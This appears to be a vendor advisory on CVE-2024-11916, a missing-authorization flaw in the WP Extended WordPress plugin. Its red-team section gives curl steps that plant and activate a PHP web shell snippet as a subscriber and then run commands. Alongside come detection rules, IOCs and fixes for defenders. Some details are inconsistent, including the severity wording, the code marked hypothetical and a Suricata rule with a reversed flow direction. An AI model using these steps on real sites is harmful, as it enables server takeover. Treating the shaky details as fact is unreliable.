CVE-2024-11916

Executive Summary

CVE-2024-11916 is a critical missing authorization vulnerability in the WordPress plugin The Ultimate WordPress Toolkit – WP Extended (versions up to and including 3.0.11). This flaw allows authenticated attackers with subscriber-level access or higher to import and activate arbitrary code snippets, effectively enabling remote code execution and unauthorized data access. The vulnerability stems from missing capability checks on several functions within the plugin, violating the principle of least privilege. Given the widespread use of this plugin in the WordPress ecosystem, the risk of exploitation is significant, potentially leading to full site compromise, data exfiltration, and lateral movement within hosting environments.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed automatically or manually. The lack of a patch at the time of analysis means that all sites running version 3.0.11 or earlier are at risk. Supply chain risk is elevated because the plugin is a toolkit, meaning it is often installed on sites that manage multiple other plugins or themes, increasing the blast radius of a compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 7.4 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs only subscriber-level access.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete data disclosure is possible.
• Integrity (I): High (H) – Arbitrary code can be imported and activated.
• Availability (A): None (N) – The vulnerability does not directly affect availability.

Threat Level: High. The combination of low privileges required, network exploitability, and the ability to execute arbitrary code makes this a critical threat for any WordPress site using the affected plugin.

Deep Dive & Mechanics

The vulnerability resides in the wp-extended plugin's AJAX handlers and REST API endpoints. The plugin provides a "Code Snippets" feature that allows administrators to import and activate custom PHP code. However, the functions responsible for handling these actions (e.g., import_snippet, activate_snippet, get_snippets) do not perform proper capability checks.

In a secure implementation, these functions would check for manage_options or activate_plugins capabilities. Instead, they only check for read or subscriber level access, which is the default for any authenticated user. This allows a subscriber to:

1. Import a malicious code snippet via a crafted POST request.
2. Activate the snippet, which executes the PHP code on every page load.
3. Retrieve existing snippets, potentially leaking sensitive data or configuration.

The attack flow is:

1. Attacker authenticates as a subscriber (e.g., via a compromised account or self-registration).
2. Attacker sends a POST request to /wp-admin/admin-ajax.php?action=wp_extended_import_snippet with a PHP payload.
3. The plugin saves the snippet and, if the attacker also calls wp_extended_activate_snippet, the code is executed.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.0.11):

// In class-wp-extended-ajax.php
public function import_snippet() {
    // Missing capability check
    $snippet = $_POST['snippet'];
    // ... save to database
    wp_send_json_success();
}

public function activate_snippet() {
    // Missing capability check
    $snippet_id = $_POST['snippet_id'];
    // ... set active flag
    wp_send_json_success();
}

Patched Code (hypothetical fix):

public function import_snippet() {
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Unauthorized');
        return;
    }
    // ... rest of the function
}

public function activate_snippet() {
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Unauthorized');
        return;
    }
    // ... rest of the function
}

The patch adds a current_user_can('manage_options') check, ensuring only administrators can import or activate snippets.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Extended <= 3.0.11 installed and activated.
• A valid subscriber account (e.g., username: attacker, password: attacker123).

Exploitation Steps:

1. Authenticate and obtain a nonce:

   curl -c cookies.txt -X POST https://target.com/wp-login.php \
     -d "log=attacker&pwd=attacker123&wp-submit=Log+In"
   

2. Import a malicious snippet:

   curl -b cookies.txt -X POST https://target.com/wp-admin/admin-ajax.php \
     -d "action=wp_extended_import_snippet&snippet=<?php system(\$_GET['cmd']); ?>"
   

3. Activate the snippet (get snippet ID from response):

   curl -b cookies.txt -X POST https://target.com/wp-admin/admin-ajax.php \
     -d "action=wp_extended_activate_snippet&snippet_id=1"
   

4. Execute commands:

   curl "https://target.com/?cmd=id"
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual AJAX requests to admin-ajax.php with actions wp_extended_import_snippet or wp_extended_activate_snippet from non-admin users.
2. Check for unexpected PHP files in the wp-content/uploads/wp-extended-snippets/ directory.
3. Review user role assignments for any subscriber accounts with elevated privileges.

Response:

1. Immediately disable the WP Extended plugin.
2. Remove any suspicious snippets from the database:

   DELETE FROM wp_options WHERE option_name LIKE 'wp_extended_snippet_%';
   

3. Rotate all credentials (admin, database, hosting).
4. Scan for backdoors using a security plugin like Wordfence.

Indicators of Compromise (IOCs)

• File System:

  • wp-content/uploads/wp-extended-snippets/*.php (unexpected PHP files)
  • Modified wp-config.php or .htaccess files

• Database:

  • wp_options table entries with option_name starting with wp_extended_snippet_
  • New or modified wp_users entries with subscriber role

• Network:

  • POST requests to /wp-admin/admin-ajax.php with action=wp_extended_import_snippet or action=wp_extended_activate_snippet
  • Outbound connections to known C2 servers (check threat intelligence feeds)

• Logs:

  • Web server logs showing admin-ajax.php requests from non-admin IPs
  • PHP error logs containing wp_extended references

Detection Engineering

YARA Rule

rule wp_extended_cve_2024_11916 {
    meta:
        description = "Detects malicious PHP snippets imported via WP Extended plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-11916"
    strings:
        $snippet_import = "wp_extended_import_snippet"
        $snippet_activate = "wp_extended_activate_snippet"
        $php_code = /<\?php/
        $system_call = /system\(/
    condition:
        ($snippet_import or $snippet_activate) and $php_code and $system_call
}

Sigma Rule

title: WP Extended Plugin Unauthorized Snippet Import
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to import or activate code snippets via WP Extended plugin without proper authorization
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=wp_extended_import_snippet'
            - 'action=wp_extended_activate_snippet'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11916 WP Extended Unauthorized Snippet Import";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=wp_extended_import_snippet"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove all subscriber accounts that are not essential.
3. Implement a Web Application Firewall (WAF) rule to block requests containing wp_extended_import_snippet or wp_extended_activate_snippet from non-admin users.

Long-term Fix:

• The vendor must release a patched version (>= 3.0.12) that adds proper capability checks.
• Apply the principle of least privilege: only administrators should be able to import/activate code snippets.

Workaround:

• If the plugin cannot be disabled, manually add capability checks by editing the plugin files (not recommended for production):

  add_action('wp_ajax_wp_extended_import_snippet', function() {
      if (!current_user_can('manage_options')) {
          wp_die('Unauthorized');
      }
      // original function code
  }, 1);
  

Valters IT
Securing WordPress Ecosystems